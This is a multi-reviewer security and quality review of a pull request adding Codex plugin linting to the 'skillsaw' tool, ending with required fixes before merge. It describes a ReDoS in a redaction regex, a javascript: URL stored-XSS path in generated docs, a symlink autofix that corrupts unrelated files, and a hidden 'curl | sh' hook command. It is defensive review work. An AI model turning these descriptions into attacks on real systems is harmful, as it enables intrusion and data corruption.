Verified clean: path containment (claim 1)paths.py rejects all three Windows-rooted shapes; codex_declared_paths, _add_codex_block, _add_plugin_prose, _add_openai_metadata, codex_manifest_is_contained and escapes_root all resolve both sides and fail closed; absolute paths, .. and symlink escapes are dropped from discovery and reported, and a self-referential symlink yields a diagnostic not a crash. Degrade-to-diagnostic verified live (6 000-digit int, 200 000 nested arrays, symlink loops — exit 0/1, no traceback). Claim 2 verified including the symlinked-$HOME case. Claim 3 verified live — fix --suggest reports nothing fixable and diff -r shows zero bytes changed. Claim 5 — non-object roots, non-list plugins, duplicate keys, NaN/Infinity, RecursionError all rejected; KEBAB_CASE uses \Z not $; only the symlink hole got through. Filename allocation — no overwrite path found across separators, drive colons, .., control chars, NUL, byte caps, Windows reserved names, case-insensitive collisions. escJsAttr escape order correct; _md_link fails closed on control-char and tab-obfuscated schemes. CI supply chain: pull_request (never pull_request_target), contents: read, persist-credentials: false, actions pinned to full SHAs, openai/plugins pinned, and both new lint invocations pass --no-custom-rules. pyproject.toml — version bump only, no new or loosened dependencies. Parser hardening — the read_* helpers now catch RecursionError and bare ValueError; HookHandler.from_dict coerces annotated-str fields so a list-valued command can't hide a curl | sh. env/headers not published by the docs MCP renderer.

QA Engineer

Suite status: clean. 3447 passed, 1 xfailed in 129 s. Statement coverage on new modules is strong (93-100% across plugin_json_valid.py, _helpers.py, paths.py, openai_metadata.py, marketplace_registration.py, marketplace_json_valid.py, formats/codex.py, lint_tree.py). All 5 new rules fire on codex/broken; codex/clean lints to 0 errors/0 warnings.

SUGGESTION — tests/test_integration.py:3730, fix at codex/marketplace_registration.py:461. The registration autofix rewrites the whole catalog, and a test pins that as accepted. fix() re-serializes the entire document with json.dumps(data, indent=2). Demonstrated on a realistic catalog (30 entries, 4-space indent, 365 lines, one unregistered plugin): fix --suggest produced a 740-line diff to add one 8-line entry. The same catalog at 2-space indent produces a 14-line diff, so blast radius is entirely a function of the author's formatting. .claude/rules/testing.md requires autofix tests to "verify that line counts do not change" and fixes to be scoped; test_a_four_space_catalog_is_reserialised_at_two asserts the opposite and calls it "current behaviour, not endorsing it". Action: splice the entry at the ] closing plugins using the file's detected indent; replace the test with a byte-identity assertion on all pre-existing lines plus len(after) == len(before) + 8.

SUGGESTION — codex/marketplace_json_valid.py:145, 151, 186, 245, 253, 322, 411, 413, 459. Nine malformed-shape branches have zero coverage. TestMalformedCatalogShapes (test_codex_rules.py:4837) only asserts "must not raise" and its six bodies never reach a dict entry with a bad field; grep for each message across the suite returns 0 hits. I probed all nine and confirmed correct messages — a pure coverage gap, but the catalog side has no equivalent of TestMalformedManifestShapes, which does parametrize expected messages for the plugin manifest. Action: mirror it with a (body, expected) parametrize over the nine cases.

SUGGESTION — tests/test_hook_rules.py:170, tests/test_mcp_rules.py:310. The dual-manifest half of an explicit compatibility claim is untested. The PR claims the hooks-json-valid matcher-type and mcp-valid-json non-empty-string checks are gated so "Claude-only and dual-manifest repos report exactly what 0.17 did". Both new tests cover only the Claude-only shape. I verified the dual case by hand (both markers + matcher: [] + command: "" → zero violations), so the claim holds, but nothing pins it — and is_codex_only_plugin is the single gate for eight rules. Action: add test_matcher_type_check_skips_a_dual_manifest_plugin / test_empty_command_check_skips_a_dual_manifest_plugin, keeping the vacuous-pass guard and asserting is_codex_only_plugin(plugin) is False.

SUGGESTION — src/skillsaw/context.py:920 / :39. distinct_plugin_dirs() has no direct test and the dedup path is untested. Only format_text has a Codex-count test. I confirmed all four formatters plus dedup behave correctly (codex/brokenplugins: 5 in text/JSON/SARIF/HTML; a dual-claimed dir collapses to 1), but neither the dedup nor the badge card is asserted anywhere. The badge is riskiest — it changed from len(find(PluginNode)) to distinct_plugin_dirs(), verified on five fixtures only by hand. Action: unit-test the method (dual-marker dir → len(...) == 1 while both plugins and codex_plugins hold it) plus one SARIF stats assertion.

SUGGESTION — src/skillsaw/cli/_helpers.py:78. The $HOME/filesystem-root bound is untested. The comment states the reason plainly — widening ~/.agents/plugins/marketplace.json "walks all of $HOME — printing findings (and secrets) from unrelated private projects". TestDirectManifestInputs covers the three widening cases but not the bound. I verified it works (planted sk-… key in a sibling project not touched), but a security guard with no test is one refactor away from regressing silently. Action: test_a_user_level_catalog_is_not_widened_to_home with monkeypatch.setattr(Path, "home", ...), plus an anchor-level companion.

SUGGESTION — tests/test_integration.py:540, :573, :3661. New integration tests build repos in code instead of using fixtures. .claude/rules/testing.md is explicit for this file: prefer static fixtures via copy_fixture(name, tmp_path). All three new classes hand-build repos, and TestCodexRegistrationAutofixCli._build reconstructs a catalog and two plugins that tests/fixtures/codex/broken already provides. The BOM/CRLF/indent variants genuinely need programmatic mutation; the base case does not. Action: start _build from copy_fixture("codex/broken", tmp_path); add the missing @pytest.mark.integration to TestMergedContextCodexCounts.

NOTEs. test_lint_tree.py:139 gained CodexPluginNode and CodexMarketplaceConfigNode but not CodexInlineHooksBlock/CodexInlineMcpBlock, whose estimate_tokens() override is never executed by the suite — and that override matters, because the base class would read and count the whole manifest, inflating context-budget totals once per inline block. codex/marketplace_json_valid.py:66-67 is dead code; coverage confirms line 67 never executes (duplicate of Python Expert). And the dir/** exclusion bullet in the PR description is a no-op against the base ref: I diffed _pattern_variants against 43654b2 by executing both versions over ten patterns — the variant sets are identical for every input, the only change being listsorted(set(...)). It documents pre-existing behavior and pins it with a new assertion (test_context.py:857), which is good regression protection, but there is no behavior change, and the described symptom isn't reproducible on either ref because a directory without SKILL.md is never discovered as a skill (context.py:1647).

Also checked and adequate: codex-marketplace-registration is SUGGEST, so the safe-idempotency/EXPECTED_SAFE_VIOLATIONS requirement doesn't apply. The agentskill-structure _HOST_METADATA_DIRS regression is covered at test_agentskill_rules.py:1713 including allowed_dirs: [], with an exact-message assertion; non-metadata files under a skill's agents/ are still surfaced by agentskill-unreferenced-files, so no blind spot. content-broken-internal-reference widening has two regression tests including the C:/… negative. Docs escaping/injection surface unusually well covered. Vendor stand-down covered by three test classes.

Technical Writer

SUGGESTION — docs/repo-types.md:150. The sibling-catalog rule is documented as "Any other *.json has to carry a plugins array to be treated as a catalog." The actual predicate (_looks_like_codex_catalog, context.py:179-192) is stricter — it requires a plugins list and at least one object entry with a source key. So .agents/plugins/api-listing.json containing {"plugins": [{"name": "x"}]} — entries missing source, exactly the defect codex-marketplace-json-valid exists to report — is silently never linted. The doc promises coverage in the direction that leaves a user's broken catalog unchecked. Action: state the real predicate.

SUGGESTION — .agents/skills/skillsaw-maintenance/references/codex.md:74-78. States "plugins.md publishes exactly these three as a closed enum" for policy.installation. Two other places describe the same upstream sentence as open-ended: codex/marketplace_json_valid.py:29-31 ("the docs hedge with 'such as'") and rules/docs/codex-marketplace-json-valid.md:64 ("both value sets are open-ended upstream"). A maintainer reading only the reference would tighten the check to an error; one reading only the rule doc would conclude the opposite. All three mirrors carry it. Action: pick one reading.

SUGGESTION — src/skillsaw/context.py:222-224. The PluginProvenance docstring points at DEVELOPMENT.md, "Ecosystem provenance". DEVELOPMENT.md has no such section and no mention of "provenance" — it lives in .claude/rules/development.md and its mirrors. A dangling pointer to the one architecture invariant the PR most wants enforced.

SUGGESTION — rules/docs/command-name-format.md, rules/docs/marketplace-registration.md. Two rules gained a Codex-only stand-down in this PR but no doc note, breaking the pattern established everywhere else: commands/name_format.py:38 (its four sibling command rules plus agent-frontmatter, plugin-naming, plugin-readme, plugin-json-required all got a "## Codex plugins" section) and marketplace/registration.py:102.

SUGGESTION — scripts/generate-site-content.py:63-65, scripts/generate-docs.py:32-34 (rendered at docs/rules/agentskills.md:6). The category description still says the rules "auto-enable for agentskills repos, single plugins, and marketplaces" — but all eight moved to SKILL_REPO_TYPES and every individual rule page now renders agentskills, codex-marketplace, codex-plugin, dot-claude, marketplace, single-plugin. The category page and the pages it indexes disagree. Same latent gap in docs/rules/skills-agents-hooks.md:6, which omits the Codex manifest-declared/inline hook surface docs/supply-chain-protection.md now documents.

SUGGESTION — rules/docs/codex-plugin-json-valid.md:35-59. "How to fix" reads as a complete enumeration but omits four checks present in plugin_json_valid.py: the missing-manifest error (97-103, so a user hitting it finds no guidance), author must be string-or-object (139-146), interface must be an object (151-159), and the wrong-kind path warnings (254-272) — that last matters because the lint tree silently drops such declarations, precisely the failure the section tries to explain.

NOTEs.

  • rules/docs/hooks-json-valid.md:45, rules/docs/mcp-valid-json.md:37 — both define a Codex-only plugin as "a .codex-plugin/plugin.json manifest with no Claude manifest alongside it", but provenance() (context.py:1100-1108) also counts a Claude marketplace listing as a Claude declaration, as the six other Codex blurbs correctly say. A repo whose Codex plugin is listed in .claude-plugin/marketplace.json won't get the tightened checks these two docs promise.
  • rules/docs/content-broken-internal-reference.md:30-34 — "any target carrying an RFC 3986 URI scheme" overstates it: the implementation requires two-plus characters (so C:/path stays a path) and separately skips protocol-relative //host/..., unmentioned.
  • rules/docs/plugin-naming.md:32 and five siblings — the shared blurb interpolates a per-rule reason without re-wrapping, producing one ~180-column line in each of six docs; in plugin-naming.md the interpolation also breaks the sentence logic (the "so" doesn't connect).
  • .agents/skills/skillsaw-maintenance/references/codex.md:63-64 — the lint-tree-nodes list omits CodexPluginNode (load-bearing for every Claude-format stand-down) plus the three new block classes, in all three mirrors.
  • rules/docs/codex-openai-metadata.md:36-41 — omits the dependencies.tools field types (openai_metadata.py:222-254) and the icon severity split (contained-but-missing = warning, escaping = error).
  • docs/index.md:18 — hero still says "more than 40 rules"; this PR moves the count 63 → 68. Pre-existing.

Verified correct: cross-read all five docs/rules/codex-*.md against implementation — config_schema params/defaults, severities, Repo Types, and the Autofix | auto vs SUGGEST mapping all match; the registration doc's five "declines to fix" cases each map to a _registerable() guard; the source-type table matches _SOURCE_REQUIRED_FIELDS. All eleven behavior changes to existing rules are documented and match code. Generated-file freshness: ran both generator scripts in a scratch copy — zero diff; skillsaw init output identical. Mirror consistency: the three skillsaw-maintenance copies byte-identical; the four development.md mirrors differ only by frontmatter. mkdocs.yml and docs/rules/index.md complete with the right count (68); no broken relative links in the new pages. Self-lint: 0 errors, 0 warnings, grade A+ — the repo now self-detects as codex-marketplace, codex-plugin, so the new rules are dogfooded. Version consistency across pyproject.toml, docs/ci.md, docs/pre-commit.md and all five Since | v0.18.0 rows.

Ecosystem Reviewer

Verdict on core-vs-plugin: correctly scoped for core. No redirect-to-plugin.

Adoption clears the bar comfortably. openai/plugins is OpenAI-owned: 4,764 stars, 639 forks, created 2026-03-04, last push 2026-07-14 (13 days before review), 180 plugin manifests and 582 skills (cloned and counted). Codex plugins shipped in OpenAI's June 2, 2026 launch against >5M weekly Codex users. The spec at developers.openai.com/plugins/build/plugins is published as ordinary documentation with no preview/beta/experimental designation and no subject-to-change caveat. This exceeds the adoption of several formats core already carries (Kiro, CodeRabbit, OpenClaw).

It is not purely a single-vendor private format. Two of three surfaces are in shared namespaces: the catalog lives under .agents/, the same ecosystem-neutral directory skillsaw already honors for .agents/skills/; and agents/openai.yaml is documented as part of the skill format, not a Codex-plugin-only file.

Decisive point: the essential half of this work is not expressible from a plugin. The false positive exists on today's main — base 43654b2 against the branch's own clean Codex fixture yields two bogus ERRORs (marketplace-json-valid: Marketplace file not found, plugin-json-required: Missing plugin.json) and misdetects the repo as a Claude marketplace. The plugin API (src/skillsaw/plugins.py) exposes only SKILLSAW_RULES, SKILLSAW_REPO_TYPES, SKILLSAW_TREE_CONTRIBUTORS, and skillsaw.org/plugins states plugins "cannot modify existing rule behavior." The stand-down is 10 is_codex_only_plugin(...) calls inside builtin rules — unreachable from a plugin, which would instead amplify the false positives via a tree contributor with no way to suppress them.

Calibration is good. On the real openai/plugins clone: zero codex-* errors; all 68 errors come from pre-existing rules. Backward compatibility, empirically: installed base and branch side by side and diffed normalized JSON output across all 150+ pre-existing fixtures — zero differing fixtures. Targeted probes found the exceptions below.

BLOCKING — src/skillsaw/rules/builtin/agentskills/evals.py:60-73. agentskill-evals message rewrite silently invalidates existing baselines. The message changed from evals.json must be a JSON object to evals.json is valid JSON but not the Agent Skills evals format — …. fingerprint_violation() (baseline.py:105) falls back to hashing rule_id + rel_path + message when the violation carries no line number — and this violation is raised with file_path= only, no line=. Reproduced end to end on a Codex-free agentskills repo: base writes a baseline → relint → "Baseline: 1 suppressed" → ✓ passed; branch with the same baseline → the warning resurfaces, grade 0.00 → 0.75. An existing user's baselined violation reappears purely from upgrading — the one thing a baseline exists to prevent — breaking CI for anyone on --strict or fail_on: warning. Narrow (array-rooted evals/evals.json only) and orthogonal to the Codex feature, which is why it shouldn't ride along unflagged. Action: attach line= so the fingerprint keys on line content instead of the message — which also satisfies the repo's own "always report line numbers" rule.

SUGGESTION — src/skillsaw/lint_tree.py:182, :185 (also context.py:1395-1397). New containment check silently drops Claude-only plugin prose, losing findings. _contained() is now applied to every plugin container's markdown and README regardless of provenance. A Claude-only plugin whose commands/*.md is a symlink resolving outside the repo root loses its block entirely. Reproduced: base 3 violations → branch 2, content-weak-language gone. The containment is defensible and consistent with T6, but the silence is the problem — the file vanishes with no indication it went unlinted, so secret-scanning, hidden-instruction and injection rules stop seeing it and nobody knows. Action: emit an info-level violation (or a Scanned: line) when a plugin child is dropped for containment; add a fixture.

SUGGESTION — codex/openai_metadata.py:37. codex-openai-metadata is misnamed for what it governs. agents/openai.yaml is documented as part of the skill format, configuring the ChatGPT desktop app for any skill independent of Codex plugins. The rule accordingly sets repo_types = SKILL_REPO_TYPES, and I confirmed it activates on a plain single-plugin Claude repo with no Codex content whatsoever — so such a user gets ERROR-severity findings from a codex-prefixed rule, in a rules/builtin/codex/ module, about a file that is not a Codex plugin file. Action: rename to skill-openai-metadata and move it out of codex/ — now, while the rule ID is unshipped and free to change without a deprecation cycle. The other four codex-* IDs are correct.

NOTEs. context.py:120, :744 — the codex-marketplace* names attribute a deliberately vendor-neutral path: .agents/plugins/ is the same namespace skillsaw already treats neutrally at context.py:636 and :277; OpenAI chose .agents/, not .codex/. Keep the names, but note in docs/repo-types.md that it is the schema, not the location, that makes it Codex. content/broken_internal_reference.py:19 — the scheme widening is unconditional, so app://, vscode://, ssh://, slack:// and any prose word:word are now skipped where previously flagged; direction is safe and C:/notes.md correctly preserved, but call it out in the changelog. cli/_badge.py:126 — the lint tree skips APM-compiled dirs while distinct_plugin_dirs() does not, so a Claude-only repo with a plugin under .apm/ gets a higher card count (this repo's own .skillsaw-card.svg changed in the diff); confirm intended. docs/repo-types.md:85 cites a live URL, but the sibling developers.openai.com/codex/skills now 308-redirects to learn.chatgpt.com/docs/build-skills — content stable, URLs not.

Positives recorded: the agentskill-unreferenced-files exemption is correctly narrow — only agents/openai.yaml is exempted; agents/notes.md and agents/stray.json still flagged. hooks-json-valid and mcp-valid-json tightenings are genuinely Codex-gated and no-op for Codex-free repos. All five rules configurable with kebab-case keys matching convention. THREAT_MODEL.md gained a real entry point and threat rather than a rubber stamp.

Slopinator Reviewer

Part B (AI prose tells) is essentially clean. Zero hits across all 60+ changed .md files for the AI-vocabulary set (delve/crucial/seamless/robust-as-filler/comprehensive/leverage/underscore/testament/showcase), copula avoidance, negative parallelism, signposting, or generic conclusions. New rule docs match the existing ## Why / ## Examples / ## How to fix shape and surrounding density. The maintenance reference is unusually good technical writing. The PR body is factual and version-scoped. Findings are all Part A residue plus two structural suggestions.

BLOCKING — src/skillsaw/formats/codex.py:7. The module docstring justifies the module by narrating an arrangement that never existed on main: "Kept out of context.py deliberately. Held as methods there they were feature envy against a plugin_dir, and every rule that wanted one had to reach through RepositoryContext to get it." None of these functions existed at 43654b2 in any form — the past tense describes a revision that only ever lived inside this PR's review history. The pre-existing sibling formats/promptfoo.py:3-7 states the same design decision entirely in the present tense; that is house style. Action: recast as "held as methods there they would be feature envy … every rule that wanted one would have to reach through RepositoryContext".

BLOCKING — src/skillsaw/context.py:746. "Re-exported from formats.codex so existing context.CODEX_PLUGIN_MANIFEST readers keep working; the definition lives with the readers that use it." CODEX_PLUGIN_MANIFEST does not exist at 43654b2. There are no "existing readers" — all three consumers (lint_tree.py:337, marketplace_registration.py:222, :361) are added by this same PR. The comment asserts a backward-compatibility obligation that does not exist, and its two halves contradict each other. Action: "Re-exported from formats.codex, where the definition lives with the readers that use it."

BLOCKING — src/skillsaw/docs/extractor.py:523 and src/skillsaw/context.py:1144. Two comments freeze a review-round complexity measurement as a past-tense fact about code that never shipped: "the linear form was O(skills x plugins) and dominated skillsaw docs on large catalogs" and "the linear scan was O(skills x plugins) on a large catalog". The forward-looking half of each is exactly right and should stay; only the past-tense clause is residue. The same rationale stated correctly in the present tense already appears two lines away at extractor.py:290-292 ("matching skills by path is O(plugins x skills) stat calls otherwise") — that version is the model. Action: re-tense both.

BLOCKING — tests/test_codex_rules.py, five sites. Commits e954170 and 56f8c1b clearly swept for this, but five survive, each narrating a prior revision or review round instead of the invariant under test. Worst is :4883-4886, which documents why the class was added rather than what it covers: "Every other containment test hides the plugin under .codex/, which the directory walk skips outright — so the visible plugins/* case, which the walk does enter, was never covered." Then :5558-5560 ("Before the memo it was one per root per lookup as well"), :2962-2963 (".mcp.json was hard-coded, so inline and custom-path servers were attributed to a file that need not exist"), :375-376 ("whose Path.resolve() raised on the symlink loop" — the sibling at :390-392 already gets the tense right), and :2103-2104 ("the bound itself was the escape hatch"). Action: restate each as the present-tense invariant.

SUGGESTION — src/skillsaw/rules/builtin/mcp/valid_json.py:207. "so the server failed silently at run time with nothing reported here" reads as a bug report against the previous revision; present tense fixes it. Separately the backward-compat rationale is duplicated near-verbatim between mcp/valid_json.py:22-27 and hooks/json_valid.py:124-127, and that invariant is now also stated in .claude/rules/development.md under "Ecosystem provenance" — one code copy can point at the other.

SUGGESTION — tests/test_codex_rules.py structure. 5,788 lines, 110 test classes, 42 holding exactly one test method, with thematically identical classes scattered rather than grouped — the shape of append-at-the-bottom-per-review-round growth. Path containment appears in eleven separate classes (:1821, 3078, 3233, 3701, 3785, 4000, 4278, 4358, 4883, 5163, 5663); generated-output escaping in seven (:3459, 4174, 4205, 4487, 4969, 5085, 5564); installed-plugin stand-down in seven (:2659, 3592, 4428, 4544, 4752, 5004, 5710). The names are accurate, so this is a layout problem, not naming. Action: not blocking; consolidate the three clusters into TestContainment, TestGeneratedOutputHardening, TestInstalledPluginStandDown.

NOTE — three one-liners. (a) hooks/json_valid.py:189"Annotated str everywhere downstream, and the generated docs page lowercases it." is a bare fragment reading like a note-to-reviewer. (b) .agents/skills/skillsaw-maintenance/references/codex.md:104 (and both mirrors) — the semver "deliberate non-checks" entry ends "Enforcing it would be defensible."; in a file whose purpose is "do not 'fix' these without a spec change", conceding the counter-argument reads as a reply to a review comment. (c) Commit subjects — Address Codex review round thirteen, Address review round ten/eleven/twelve, Close the second panel's findings and the round-fifteen gaps, with bodies containing Declined as review replies: …. Since this repo squash-merges, none reaches permanent history, so it is not shipped text; flagging only so the squash message is written fresh from the PR body.

Checked and clean: all six new rule doc pages (both copies); docs/repo-types.md (the .claude-plugin/marketplace.json paragraph even documents the unhappy consequence of the design honestly); the Ecosystem provenance section and all four mirrors; THREAT_MODEL.md; docs/pre-commit.md (states the files: . gap against the project's own interest); blocks/openai.py; tests/test_openai_metadata.py (every docstring present-tense). Comment density in the new codex rules is 13-17% vs a 7-8% baseline in the closest analogues, but every comment read is a genuine non-obvious-invariant or rejected-alternative comment in the present tense, which the scope explicitly protects.


Panel Synthesis

The panel ran seven specialists over 170 files and ~13.9k insertions. The feature is well-built and correctly scoped for skillsaw core — the Ecosystem Reviewer's independent adoption research (OpenAI-owned openai/plugins at 4.7k stars and 180 plugins, a GA spec with no preview caveat, a June 2026 launch behind >5M weekly Codex users) clears the core bar, and more decisively, the essential half of this work is unreachable from a plugin: the ten is_codex_only_plugin() stand-downs live inside builtin rules, and skillsaw.org/plugins states plugins cannot modify existing rule behavior. A plugin attempting this would amplify the false positives it set out to fix. No redirect-to-plugin.

Evidence of care is unusually strong and worth naming: zero codex-* errors against the 180-plugin openai/plugins reference implementation; a normalized-output diff across all 150+ pre-existing fixtures showing zero differing fixtures; 3,447 tests passing with 93-100% statement coverage on every new module; CI correctly using pull_request with SHA-pinned actions and --no-custom-rules so third-party repo code is never executed; generated files verified byte-fresh; and the repo dogfooding its own new rules at grade A+.

Four blocking defects survived verification, and I reproduced or confirmed each one directly rather than taking the specialist's word. Three cluster on the same theme — a security hardening layer that is thorough where it was aimed and absent one step to either side:

  1. The ReDoS is the most serious finding. _URL_USERINFO is quadratic, and I measured it independently: 0.15 s at 4 KB, 0.94 s at 10 KB, 3.68 s at 20 KB, 14.56 s at 40 KB — textbook O(n²). The regex sits inside safe_display(), the function whose entire job is making attacker-controlled manifest values safe to echo, on skillsaw's primary threat surface. The inline comment asserting "The single character class cannot backtrack" is wrong, and the adjacent "Unbounded on purpose" reasoning — that a length cap would let a pasted JWT escape redaction — is the cause of the exposure, not an incidental gap. That means the fix cannot simply be a cap bolted on: it needs a non-backtracking @-anchored scan so redaction stays complete and cost stays linear, then a cap for payload size. The existing regex-timeout/SIGALRM mitigation (T13) does not cover builtin rule code.

  2. The javascript: XSS is a live vulnerability in a path this PR touched. _safe_url() was written, tested, and wired into the Codex extractor at extractor.py:440-441 — then the Claude extractor 135 lines later at :575-576 was left on raw str(meta.get(...)), in the very lines this PR edited (escescAttr). I confirmed the asymmetry directly. Marketplace metadata is third-party-authored by definition, so this is stored XSS in published docs plus Markdown link-breakout into generated READMEs. The one-line fix is obvious; the reason it was missed is that the PR's hardening claim was scoped to Codex manifests while the sink is shared.

  3. I escalated the symlinked-catalog autofix from SUGGESTION to BLOCKING after reproducing it. The Security Reviewer under-rated this. Pointing .agents/plugins/marketplace.json at ../../config/app-settings.json and running skillsaw fix --suggest reports a cheerful ✓ Registered 1 plugin(s) while silently injecting a "plugins" array into an unrelated application config file and reformatting it end to end. That is data corruption of a file the user never asked skillsaw to touch, and it directly contradicts the PR's own stated guarantee that "unsafe paths … are never written." _inside() proves the catalog resolves inside the repo but never that the write target is the catalog. Autofixes that silently corrupt unrelated files are the highest-consequence class of linter bug, and the arbiter bias here is explicit: prefer security over ergonomics. QA's whole-file-reserialization finding is the aggravating factor — the corrupted file was also fully reflowed 4-space → 2-space — so fixing the splice (QA Add "Claude was here" to README.md #1) shrinks the blast radius but does not close the symlink hole; both are needed.

  4. The agentskill-evals baseline break is small, orthogonal, and the kind of regression this repo treats as non-negotiable. I confirmed the mechanism in code: the violation is raised with file_path= only and no line= (evals.py:60-73), and fingerprint_violation() falls back to hashing rule_id + rel_path + message in exactly that case (baseline.py:104-105). So a pure message rewrite resurfaces a suppressed violation on upgrade, breaking CI for anyone on --strict or fail_on: warning — on repos with no Codex content at all. Backward compatibility is paramount here, and the fix is a one-liner that also satisfies the project's own "always report line numbers" rule: attach line= so the fingerprint keys on line content instead of prose.

On the Slopinator's four BLOCKING findings: I verified each mechanically rather than by taste. formats/codex.py does not exist at the base ref, yet its docstring says the functions "were feature envy" as methods on context.py — an arrangement that never shipped. CODEX_PLUGIN_MANIFEST appears zero times at 43654b2, yet its comment claims the re-export is "so existing readers keep working." Both are load-bearing-sounding rationale that a future maintainer would trust and be misled by, which is why they clear the bar rather than being style nits. The two O(skills × plugins) comments and the five test docstrings are the same defect in milder form. Notably, two commits (e954170, 56f8c1b) already swept for this residue — these are the survivors, not an un-attempted cleanup, and the correct present-tense form already exists two lines from one of them at extractor.py:290-292. Mechanical, ~20 minutes, no behavior change.

Corroboration strengthened three findings. The unguarded Path.home() at cli/_helpers.py:78 was raised independently by the Python Expert (crash path), the Security Reviewer (same), and QA (untested guard) — three lenses on one line. I could not reproduce the RuntimeError on this runner because its UID has a /etc/passwd entry, but two specialists reproduced a traceback and the mechanism is sound for the OpenShift random-UID case this project explicitly validates against; the unconditional realpath() per argument is independently true regardless. It stays a SUGGESTION but should be fixed in the same pass — it is three lines. The dead branch at marketplace_json_valid.py:66-67 was found independently by the Python Expert and confirmed by QA's coverage data (line 67 never executes).

Findings I resolved against the specialist. Architecture, the Python Expert, and QA all independently traced the getattr(self, "marketplace_entries", {}) fallback in provenance() as a possible stale-cache bug; two concluded it is correct as written because apply_excludes() unconditionally clears the cache at the end of __init__. I take the conservative reading of the risk without treating it as a defect: the code is correct, but its correctness depends on a clear() 600 lines away, and Architecture's recommendation to initialize the field early and drop the getattr is the right cleanup. Not blocking. I also declined to raise QA's observation that the PR description's dir/** exclusion bullet describes no actual behavior change — QA verified the variant sets are byte-identical across both refs — as a code finding; it is a PR-description correction, since the new assertion it added is genuine regression protection.

One decision I am asking for rather than deciding. The Ecosystem Reviewer's case for renaming codex-openai-metadataskill-openai-metadata is substantively right: agents/openai.yaml is documented as part of the skill format, the rule itself sets repo_types = SKILL_REPO_TYPES, and it was confirmed to fire on a plain Claude single-plugin repo with no Codex content — so a Claude-only user gets ERROR-severity findings from a codex-prefixed rule about a file that is not a Codex file. This is not a correctness defect, so it is not blocking. But the cost is radically asymmetric: free now while the rule ID is unshipped, and a deprecation cycle after 0.18.0 ships. It belongs in the required-actions list as a decision, not as a defect. The other four codex-* IDs are correct.

Filtered as noise or out of scope: the docs/index.md "more than 40 rules" staleness (pre-existing, not this PR's responsibility); the .agents/ naming attribution and OpenAI URL-rot notes (genuine but NOTE-level); the 5,788-line test-file reorganization (a real layout problem, but asking for a 110-class reshuffle inside this diff trades more risk than it buys); and the commit-subject review narration (this repo squash-merges, so it never reaches permanent history — only the squash message needs writing fresh).

The shape of this review is worth stating plainly: none of the four blockers is architectural, none requires rethinking the design, and none is in the Codex feature's core logic. Three are one-to-ten-line fixes at the edges of an otherwise careful security layer; one is a one-line missing line=. The feature should ship once they are closed.


Required Actions Before Merge

  1. Fix the ReDoS in safe_display()rules/builtin/codex/_helpers.py:40. Replace the backtracking _URL_USERINFO with a non-backtracking @-anchored scan (split on @, test only the bounded segment before each occurrence) so redaction stays complete without a length cap, then bound output length for payload size. Correct the "The single character class cannot backtrack" comment. Add an adversarial-value fixture (60 KB, no ./:) to tests/test_codex_rules.py with a runtime assertion.

  2. Apply _safe_url() on the Claude extraction pathdocs/extractor.py:575-576. Two lines, matching :440-441. Add a test asserting a javascript: URL and a paren-bearing URL are neutralised for both extractors, in both the HTML and Markdown renderers.

  3. Refuse to write through a symlinked catalogcodex/marketplace_registration.py:407 (with context.py:788). In fix(), decline when the target's resolved path differs from its lexical path, and/or require the parsed document to duck-type as a catalog before appending. Add a regression test with .agents/plugins/marketplace.json symlinked at an unrelated in-repo JSON file, asserting that file is byte-unchanged. Recommended in the same pass: make the fix splice the entry at the ] closing plugins using the file's detected indent (QA Add "Claude was here" to README.md #1), which restores the project's own "line counts do not change" autofix rule and replaces test_a_four_space_catalog_is_reserialised_at_two with a byte-identity assertion.

  4. Attach line= to the agentskill-evals wrong-shape violationagentskills/evals.py:60-73, e.g. via commented_root_line, so fingerprint_violation() keys on line content instead of the message and existing baselines keep suppressing. Add a regression test that writes a baseline on the old message and asserts it still suppresses. This also satisfies .claude/rules/development.md's "always report line numbers" rule.

  5. Remove the four review-history residue sitesformats/codex.py:7 and context.py:746 (both assert a history that never existed: the module is new, and CODEX_PLUGIN_MANIFEST has zero readers at the base ref), docs/extractor.py:523 and context.py:1144 (re-tense to present, using extractor.py:290-292 as the model), and the five test docstrings at tests/test_codex_rules.py:375, 2103, 2962, 4883, 5558. Mechanical, no behavior change.

  6. Decide on codex-openai-metadataskill-openai-metadata (Ecosystem [Auto] Sync MCP rules with upstream server spec #3). Not a defect, but free to change now and a deprecation cycle after 0.18.0. If kept as-is, add a line to the rule doc explaining that the rule fires on Claude-only repos shipping agents/openai.yaml, so the codex- prefix does not read as a bug.

Fold in while touching these files (small, corroborated):

  1. Guard Path.home()cli/_helpers.py:78: compute the bound only inside if widened is not resolved, wrapped in try/except (RuntimeError, OSError). Raised independently by three specialists. Add QA's test_a_user_level_catalog_is_not_widened_to_home.

  2. Route safe_display() over the three bypassed diagnosticscodex/marketplace_json_valid.py:344, codex/plugin_structure.py:51, codex/openai_metadata.py:64 — so T14's "every diagnostic that echoes a manifest value" is actually true.

  3. Fold mp.name and docs.title through _table_cell()docs/markdown_renderer.py:68, :104.

  4. Correct two doc statements that misdescribe shipped behaviordocs/repo-types.md:150 (the sibling-catalog predicate also requires an entry with source, so a source-less broken catalog is silently unlinted) and rules/docs/{hooks-json-valid,mcp-valid-json}.md (a Claude marketplace listing also counts as a Claude declaration; reuse the other six blurbs' phrasing).


Optional Follow-ups

  • Make the containment drop visible (Ecosystem [Auto] Sync hooks rules with upstream Claude Code spec #2): a Claude-only plugin whose commands/*.md symlink escapes the repo root now loses its block silently, so secret-scanning and injection rules stop seeing it with no signal. Emit an info-level violation or a Scanned: line. Reproduced as a real findings loss (3 violations → 2).
  • Architecture cleanups, in rough value order: replace marketplace/json_valid.py:56-77's fresh filesystem probe with a provenance() read (it violates the invariant this PR itself documents); add context.is_codex_only_content(path) and call it from all seven .parent.parent sites, dropping the four unused PluginNode imports; move the six safe_* helpers into paths.py (a Claude rule currently imports from formats.codex); fix the root-level Codex .mcp.json attach and delete the _root_claimed_blocks/_OwnBlocks workaround; delete the unreachable _is_codex_only; add catalog_entries() and route the five duplicate traversals through it; extract _reapply_codex_excludes(); have _add_block short-circuit on seen_roles.
  • Restore the tightened module-layering checks (tests/test_module_layering.py): skip only FunctionDef/AsyncFunctionDef, not ClassDef (class bodies execute at import), and add the four new modules to CYCLE_SENSITIVE_MODULES.
  • Performance, both measured: cache codex_plugin_owning()'s root set as a frozenset (88.8 ms → 61.0 ms on a 300-plugin/900-skill catalog), and stop re-resolving the same plugin directory ~6× per plugin in build_lint_tree (18,607 resolve() calls, ~1.8 s of 3.6 s) — use distinct_plugin_dirs() and safe_resolve at lint_tree.py:283-291.
